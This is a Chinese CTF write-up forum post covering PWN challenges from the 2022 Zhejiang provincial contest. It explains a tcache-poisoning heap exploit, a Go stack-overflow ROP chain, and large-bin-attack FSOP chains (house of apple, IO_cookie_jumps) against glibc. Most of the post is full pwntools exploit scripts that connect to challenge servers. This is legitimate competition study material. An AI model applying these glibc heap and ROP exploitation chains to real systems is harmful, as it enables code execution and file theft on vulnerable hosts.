首页
论坛
课程
招聘
[原创]【2022浙江省赛】PWN题部分题解
2022-9-29 23:43 8623

[原创]【2022浙江省赛】PWN题部分题解

2022-9-29 23:43
8623

初赛

babyheap

2.27的正常堆题

题目分析

​ 题目限制了add次数,只能add 7次,而且delet存在UAF占位 考虑UAF修改tcache chunk的key,使得无限free同一堆块填满tcache 溢出到UB,然后UAF leak libc 最后 UAF tcache poison 改free_hook 为one_gadget getshell

成功截图

img

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def exp():
    global
    global libc
    ##r=process('./babyheap')
    r=remote("1.14.97.218",24360)
    libc=ELF("./libc-2.27.so")
 
    ## leak_heap
    add(0x7f)
    add(0x7f)
    ##add(0x7f)
    ##add(0x7f)
    delet(0)
    edit(0,"nameless")
    ##z()
    show(0)
    r.recvuntil("nameless")
    heapbase=u64(r.recv(6).ljust(8,"\x00"))-0x10
    log.success("heapbase:"+hex(heapbase))
 
    ##leak libc
    for i in range(0,7):
        edit(0,p64(0)*2)
        delet(0)
 
    ##z()
    show(0)
    r.recvuntil("\n")
    libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x3ebca0
    log.success("libcbase:"+hex(libcbase))
 
    ## set_libc func
    free_hook=libcbase+libc.sym["__free_hook"]
    system=libcbase+libc.sym["system"]   
 
    edit(0,p64(free_hook))
    add(0x7f) ##,"/bin/sh\x00")
    add(0x7f) ##,p64(system))
    edit(3,p64(system))
    edit(0,"/bin/sh\x00")
    ##z()
    delet(0)
    r.interactive()

决赛

远程ld治好了的精神内耗

GO-MAZE-v4

一道go语言栈溢出

沙箱

img

保护

img

调试

发现连main函数入口都没有,简直逆不动(go语言的静态编译导致的elf本身就相当于c的libc,elf,ld等等的合集)
先简单测试一下,发现wsad分别对应了上下左右,输的话就可以直接走通迷宫:

 

img

 

然后紧接着应该是一个输入,测试测试有没有栈溢出,发现输入0x180个字节就报错了,并且rbp和rip是能被我们控制的

 

img

 

(ps:gdb调试设置好set follow-fork-mode parent和set detach-on-fork on才能不会因为system或exec这类函数卡死)
而且这个二进制文件里面的gadget非常的齐活,直接打ORW就好

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def up():
    r.sendline("w")
 
def down():
    r.sendline("s")
 
def right():
    r.sendline("d")
 
def exp():
    global
    global libc
    ##global elf
    r=process('./pwn')
    for i in range(5):
        down()
    for i in range(3):
        right()
    for i in range(3):
        up()
    for i in range(3):
        right()
    up()
    right()
    up()
    up()
    ##z()
 
    ## gadgets
    pop_rdi_ret = 0x4008f6
    pop_rsi_ret = 0x40416f
    pop_rdx_ret = 0x51d4b6
    pop_rax_ret = 0x400a4f
    syscall = 0x4025ab
    leave_ret = 0x4015cb
 
    bss = 0xAD1600+0x500
 
    pd1 = flat(
    pop_rax_ret , 0 , pop_rdi_ret , 0 , pop_rsi_ret , bss , pop_rdx_ret , 0x210 ,
    syscall , leave_ret
    )
 
    ##z()
    r.sendlineafter("flag\x00",0x178*"a" + p64(bss) +  pd1)
    flag_addr = bss + 0x200
    pd=flat( 0 , pop_rax_ret , 2 , pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , pop_rdx_ret , 0 ,
    syscall , pop_rax_ret , 0 , pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_ret , 0x210 ,
    syscall ,pop_rax_ret , 1 , pop_rdi_ret , 1 , pop_rsi_ret , flag_addr , pop_rdx_ret , 0x210 ,
    syscall , 0xdeadbeef
    ).ljust(0x200,"a")+"./flag\x00"
    r.sendline(pd)
    r.interactive()

HodgePodge

省赛300分最难pwn题的含金量

版本

2.34魔改(不知道魔改了啥,本地调试的话直接用2204的2.35即可)

沙箱保护

img

保护

img

ida逆向

看看main:

 

img

 

很直接的菜单,_exit一眼house,但是不知道啥house,看看delet发现有UAF,show和edit都很常规
而add用的是calloc:

 

img

 

想到了pig,但是pig打ORW有点不太好打,但是基本能确定large bin attack了
attack啥呢?我一开始先试试打top_chunk,但是不行,原因是attack最后有一个add大堆块的操作,这个操作会使得top_chunk的地址抬高,覆盖,没办法触发kiwi的链子。于是我现找了一个链子——puts的stdout(真是比赛现找的):

 

img

 

如果largebin attack劫持stdout为chunk P,并且满足P的pre_size为0x8000(这个可以用空间复用实现),最后rdi就会赋值为P的堆地址。再看看接下来的流程:

 

img

 

发现这个流程和flash_all_lock_up长得只有那么像了,当rdi+0x30,也就是堆地址+0xc0的位置为0并且堆地址+0xd8(vtable)的位置符合IO的虚表的地址范围,就会跳vtable+0x38的函数
常用的跳表有三种,pig的IO_str_jumps、emma的IO_cookie_jumps以及apple的IO_wfile_jumps。但是apple当时不会,pig被排除,所以只能试试cookie_jumps,还真成了,在结束前30分钟本地通了。但是。。。这个B玩意要扬fs:0x30,fs就牵扯到ld表,这个玩意本地和远程偏移太不一样了,导致痛失300分

非预期exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
# -*- coding: utf-8 -*-
from platform import libc_ver
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'
 
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
 
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
 
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
##r=remote("123.57.69.203",7010)0xafa849b09b753ccd
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})
 
##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendlineafter(">>",str(num))
 
def add(sz,con):
    cho(1)
    r.sendlineafter("Size:",str(sz))
    r.sendafter("content",con)
    ##r.sendlineafter("idx:",str(idx))
 
def delet(idx):
    cho(2)
    r.sendlineafter("idx:",str(idx))
 
def edit(idx,con):
    cho(3)
    r.sendlineafter("idx",str(idx))
    r.sendafter("Content",con)
 
def show(idx):
    cho(4)
    r.sendlineafter("idx",str(idx))
 
 
def exp(x):
    global
    global libc
    ##global elf
    r=remote("1.14.97.218",23023)
    ##r=process('./pwn')
    libc=ELF("./libc.so.6")
 
    ## fengshui
    add(0x418,"nameless")
    add(0x410,"nameless")
    add(0x410,"ymnhymnh")
    add(0x420,"x1ngx1ng")
    add(0x420,"nameless")
    delet(3)
    ##delet(2)
 
    ## leak_libcbase
    ##z()
    show(3)
    r.recvuntil("\n")
    libcbase=u64(r.recv(6).ljust(8,"\x00"))-0x1f2cc0
    log.success("libcbase:"+hex(libcbase))
    add(0x430,"nameless")
 
    ## set_libc_func
    l_main=0x1f30b0+libcbase
    free_hook=libcbase+libc.sym["__free_hook"]
    stdout=libcbase+libc.sym["stdout"]
    IO_str_jumps=libcbase+0x1f3b58-0x38
    fsbase=libcbase-0x28c0+x
    godget=libcbase+0x146020##libcbase+0x1482ba
    setcontext=libcbase+0x50bc0
 
    ## leak_heapbase
    ##z()
    edit(3,"x1ngx1ng"+"nameless")
    ##z()
    show(3)
    r.recvuntil("nameless")
    heapbase=u64(r.recv(6).ljust(8,"\x00"))-0xef0
    log.success("heapbase:"+hex(heapbase))
    key=heapbase+0x6b0
    chunk1=heapbase+0x6b0
    chunk2=heapbase+0xef0
    ##z()
 
    ## set_orw
    open_addr=libcbase+libc.sym['open']
    read_addr=libcbase+libc.sym['read']
    write_addr=libcbase+libc.sym['write']
    pop_rdi_ret=libcbase+0x2daa2
    pop_rsi_ret=libcbase+0x37c0a
    pop_rdx_pop_rbx_ret=libcbase+0x87729
    ret=libcbase+0xecd6c
    flag_addr = key + 0x310
    chain = flat(
    pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
    pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
    pop_rdi_ret , 1 , pop_rsi_ret, flag_addr , pop_rdx_pop_rbx_ret, 0x100 , 0 ,write_addr
    ).ljust(0x100,'\x00') + './flag\x00'
 
 
    ##large bin attack 2 yang point gurad
    edit(3,p64(l_main)*2+p64(heapbase+0xef0)+p64(fsbase+0x30-0x20))
    delet(1)
    ##z()
    add(0x430,"nameless")
    ##z()
    edit(3,p64(chunk1)+p64(l_main)+p64(chunk1)*2)
    edit(1,p64(l_main)+p64(chunk2)*3)
 
    ##z()
    add(0x410,"nameless")
 
    ##large in attack 2 ORW
    edit(3,p64(l_main)*2+p64(heapbase+0xef0)+p64(stdout-0x20))
    pd=0xb0*'a'+p64(0)
    pd=pd.ljust(0xc8,'a')+p64(IO_str_jumps)
    pd=pd.ljust(0xd0,"a")+p64(key+0x100)
    pd=pd.ljust(0xe0,"a")+p64(rol(key ^ godget,0x11,64))
    pd=pd.ljust(0xf8,"a")+p64(key+0x130)
    pd=pd.ljust(0x140,"a")+p64(setcontext+61)
    pd=pd.ljust(0x1c0,"a")+p64(key+0x210)+p64(ret)
    pd=pd.ljust(0x200,"a")+chain
    edit(7,pd)
    delet(7)
    edit(0,0x410*"a"+p64(0x8000))
    ##z()
    cho(1)
    r.sendlineafter("Size:",str(0x430))
    ##r.recvuntil("flag")
    flag="flag{"+r.recvuntil("\x00",drop=True)
    print(flag)
    r.interactive()
 
if __name__ == '__main__':
    while(1):
        i = -0x1000
        if i == 0x1000 :
           break
        else :
           try :
               exp(i)
           except:
               continue 
 
    ##setcontext and orw
    ''''
    orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)
    orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
    orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
    orw+=p64(0xdeadbeef)
    pd=p64(gold_key)+p64(free_hook)
    pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'
    pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw0xafa849b09b753ccd
    r.sendafter(">>",pd)
    flag=r.recvline()
    '''
 
    ##orw
    '''
    ##[+]: set libc func
    IO_file_jumps=0x1e54c0+libcbase
    IO_helper_jumps=0x1e4980+libcbase
    setcontext=libcbase+libc.sym['setcontext']
    open_addr=libcbase+libc.sym['open']
    read_addr=libcbase+libc.sym['read']
    puts_addr=libcbase+libc.sym['puts']
    pop_rdi_ret=libcbase+0x2858f
    pop_rsi_ret=libcbase+0x2ac3f
    pop_rdx_pop_rbx_ret=libcbase+0x1597d6
    ret=libcbase+0x26699
    ##[+]: large bin attack to reset TLS
    ##z()
    ##edit(4,p64(libcbase+0x1e4230)+)
 
    ##[+]: orw
    flag_addr = heap_base + 0x4770 + 0x100
    chain = flat(
    pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
    pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
    pop_rdi_ret , flag_addr , puts_addr
    ).ljust(0x100,'\x00') + 'flag\x00'
    '''
 
    ##banana
       ## b _dl_fini
       ## pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
    '''''
    rop_chain = flat(pop_rdi_ret,bin_sh,ret,system_addr)
    link_4_addr = heap_base + 0xcd0
    fake_link_map = p64(0) + p64(0) + p64(0) + p64(link_4_addr)
    fake_link_map += p64(magic) + p64(ret)
    fake_link_map += p64(0)
    fake_link_map += rop_chain
    fake_link_map = fake_link_map.ljust(0xc8,'\0')
    fake_link_map += p64(link_4_addr + 0x28 + 0x18) # RSP
    fake_link_map += p64(pop_rdi_ret)   # RCX RIP
    fake_link_map = fake_link_map.ljust(0x100,'\x00')
    fake_link_map += p64(link_4_addr + 0x10 + 0x110)*0x3
    fake_link_map += p64(0x10) 
    fake_link_map = fake_link_map.ljust(0x31C - 0x10,'\x00')
    fake_link_map += p8(0x8)
    edit(1,'\0'*0x520+p64(link_4_addr + 0x20)) ##控prev_data
    edit(2,fake_link_map)
    '''
 
    ##pig
      ## p _IO_flush_all_lockp
    ''''
    heap=heap+0x3b70
    pd=p64(0)*3+p64(0x1c)+p64(0)+p64(heap)+p64(heap+26)
    pd=pd.ljust(0xc8,b'\x00')
    pd+=p64(_IO_str_jumps)
    edit(3,pd)
    '''

关于如何获取远程的ld偏移

第一种办法是爆破,参考wjh大佬的博客:https://blog.wjhwjhn.com/archives/593/

 

第二种是起一个有pwndbg的docker,把题目环境加载进去然后gdb fsbase获取偏移。这个起环境在github上有一个叫PWNdockerAll的项目,是pig007大佬写的,笔者在使用2204的过程中遇到了一点问题,自己鼓捣将install.sh稍作修改,使得它能够支持目前最新的2204版本(pig007大佬写的时候是2.34的2204,不兼容主要是因为python3.10的模块引用问题,那个时候python3.10好像还没出),现也在github上开源:

 

NSnidie/pwnDockerAll: 通过curl下载python3.10的pip3修复了2.34pip3的高版本module name冲突的bug,并且在容器中添加了ropper、patchelf、glibc-all-in-one等常用pwn题工具 (github.com)

预期解——house of apple

apple 常用的是IO_wfile_overflow,期望的是前面执行je

 

img

 

然后跳转到:

 

img

 

这里有啥好东西呢?发现有个和io_cookie_jumps一样的东西:

 

img

 

好家伙,就是只少一个point gurad,直接卡死我300分。。。可恶啊

 

img

 

夜深了,不想再调了,卷Glibc都是精神内耗。。。。

流程1

kiwi触发->malloc_assert->fxprintf->vfxprintf->locked_vfxprintf->vfprintf_internal->apple

 

这个做法需要一个堆溢出:

 

UAF+size存数组可实现堆溢出:

 

假定相邻堆块chunk1和chunk2,chunk2和top_chunk相邻。设定chunk1为0x430大小(题目大小),然后free进UB。add0x410,切割chunk1然后free chunk2,这时候,chunk1就和top_chunk相邻了,而且是0x420大小。由于我们数组存的是0x430大小,所以在edit的时候成功溢出0x10字节。可以改top_chunk的size打kiwi

流程2

puts触发->apple

exp(针对流程2)

(ps此exp非题目所给libc,题目给的是魔改的2.34版本的libc,我用的2204的libc在本地打的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
# -*- coding: utf-8 -*-
from platform import libc_ver
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'
 
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
 
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
 
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
##r=remote("123.57.69.203",7010)0xafa849b09b753ccd
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})
 
##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendlineafter(">>",str(num))
 
def add(sz,con):
    cho(1)
    r.sendlineafter("Size:",str(sz))
    r.sendafter("content",con)
    ##r.sendlineafter("idx:",str(idx))
 
def delet(idx):
    cho(2)
    r.sendlineafter("idx:",str(idx))
 
def edit(idx,con):
    cho(3)
    r.sendlineafter("idx",str(idx))
    r.sendafter("Content",con)
 
def show(idx):
    cho(4)
    r.sendlineafter("idx",str(idx))
 
 
def exp():
    global
    global libc
    ##global elf
    r=remote("124.222.96.143",10050)
    ##r=process('./pwn')
    libc=ELF("./libc.so.6")
 
    ## fengshui
    add(0x418,"nameless")
    add(0x410,"nameless")
    add(0x410,"ymnhymnh")
    add(0x420,"x1ngx1ng")
    add(0x420,"nameless")
    delet(3)
    ##delet(2)
 
    ## leak_libcbase
    ##z()
    show(3)
    r.recvuntil("\n")
    libcbase=u64(r.recv(6).ljust(8,"\x00"))-0x219ce0
    log.success("libcbase:"+hex(libcbase))
    add(0x430,"nameless")
 
    ## set_libc_func
    l_main=0x219ce0+libcbase
    free_hook=libcbase+libc.sym["__free_hook"]
    stdout=libcbase+libc.sym["stdout"]
    IO_wfile_jumps=libcbase+0x2160c0-0x20
    fsbase=libcbase-0x28c0
    godget=libcbase+0x1675b0 ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
    setcontext=libcbase+0x53a30
 
    ## leak_heapbase
    ##z()
    edit(3,"x1ngx1ng"+"nameless")
    ##z()
    show(3)
    r.recvuntil("nameless")
    heapbase=u64(r.recv(6).ljust(8,"\x00"))-0xef0
    log.success("heapbase:"+hex(heapbase))
    key=heapbase+0x6b0
    chunk1=heapbase+0x6b0
    chunk2=heapbase+0xef0
    ##z()
 
    ## set_orw
    open_addr=libcbase+libc.sym['open']
    read_addr=libcbase+libc.sym['read']
    write_addr=libcbase+libc.sym['write']
    pop_rdi_ret=libcbase+0x2a3e5
    pop_rsi_ret=libcbase+0x2be51
    pop_rdx_pop_rbx_ret=libcbase+0x90529
    ret=libcbase+0xf90e1
    flag_addr = key + 0x300
    chain = flat(
    pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
    pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
    pop_rdi_ret , 1 , pop_rsi_ret, flag_addr , pop_rdx_pop_rbx_ret, 0x100 , 0 ,write_addr
    ).ljust(0x100,'\x00') + './flag\x00'
 
    ##large bin attack 2 apple
    edit(3,p64(l_main)*2+p64(heapbase+0xef0)+p64(stdout-0x20))
    pd=''
    pd=pd.ljust(0x90,"\x00")+p64(key+0xa0)
    pd=pd.ljust(0xb0,'\x00')+p64(0)
    pd=pd.ljust(0xc8,'\x00')+p64(IO_wfile_jumps)
    pd=pd.ljust(0x130,'\x00')+p64(key+0x200)+p64(ret)
    pd=pd.ljust(0x170,'\x00')+p64(key+0x180)
    pd=pd.ljust(0x1d8,'\x00')+p64(setcontext+61)
    pd=pd.ljust(0x1f0,'\x00')+chain
    edit(1,pd)
    delet(1)
    edit(0,0x410*"a"+p64(0x8000))
    ##z()
    cho(1)
    r.sendlineafter("Size:",str(0x430))
    ##r.recvuntil("flag")
    ##flag="flag{"+r.recvuntil("\x00",drop=True)
    ##print(flag)
    r.interactive()
 
if __name__ == '__main__':
    exp()
 
    ##setcontext and orw
    ''''
    orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)
    orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
    orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
    orw+=p64(0xdeadbeef)
    pd=p64(gold_key)+p64(free_hook)
    pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'
    pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw0xafa849b09b753ccd
    r.sendafter(">>",pd)
    flag=r.recvline()
    '''
 
    ##orw
    '''
    ##[+]: set libc func
    IO_file_jumps=0x1e54c0+libcbase
    IO_helper_jumps=0x1e4980+libcbase
    setcontext=libcbase+libc.sym['setcontext']
    open_addr=libcbase+libc.sym['open']
    read_addr=libcbase+libc.sym['read']
    puts_addr=libcbase+libc.sym['puts']
    pop_rdi_ret=libcbase+0x2858f
    pop_rsi_ret=libcbase+0x2ac3f
    pop_rdx_pop_rbx_ret=libcbase+0x1597d6
    ret=libcbase+0x26699
    ##[+]: large bin attack to reset TLS
    ##z()
    ##edit(4,p64(libcbase+0x1e4230)+)
 
    ##[+]: orw
    flag_addr = heap_base + 0x4770 + 0x100
    chain = flat(
    pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
    pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
    pop_rdi_ret , flag_addr , puts_addr
    ).ljust(0x100,'\x00') + 'flag\x00'
    '''
 
    ##banana
       ## b _dl_fini
       ## pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
    '''''
    rop_chain = flat(pop_rdi_ret,bin_sh,ret,system_addr)
    link_4_addr = heap_base + 0xcd0
    fake_link_map = p64(0) + p64(0) + p64(0) + p64(link_4_addr)
    fake_link_map += p64(magic) + p64(ret)
    fake_link_map += p64(0)
    fake_link_map += rop_chain
    fake_link_map = fake_link_map.ljust(0xc8,'\0')
    fake_link_map += p64(link_4_addr + 0x28 + 0x18) # RSP
    fake_link_map += p64(pop_rdi_ret)   # RCX RIP
    fake_link_map = fake_link_map.ljust(0x100,'\x00')
    fake_link_map += p64(link_4_addr + 0x10 + 0x110)*0x3
    fake_link_map += p64(0x10) 
    fake_link_map = fake_link_map.ljust(0x31C - 0x10,'\x00')
    fake_link_map += p8(0x8)
    edit(1,'\0'*0x520+p64(link_4_addr + 0x20)) ##控prev_data
    edit(2,fake_link_map)
    '''
 
    ##pig
      ## p _IO_flush_all_lockp
    ''''
    heap=heap+0x3b70
    pd=p64(0)*3+p64(0x1c)+p64(0)+p64(heap)+p64(heap+26)
    pd=pd.ljust(0xc8,b'\x00')
    pd+=p64(_IO_str_jumps)
    edit(3,pd)
    '''

看雪2022 KCTF 秋季赛 防守篇规则,征题截止日期11月12日!(iPhone 14等你拿!)

最后于 2022-9-30 13:36 被Nameless_a编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
打赏 + 100.00雪花
打赏次数 1 雪花 + 100.00
 
赞赏  Editor   +100.00 2022/10/13 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (0)
游客
登录 | 注册 方可回帖
返回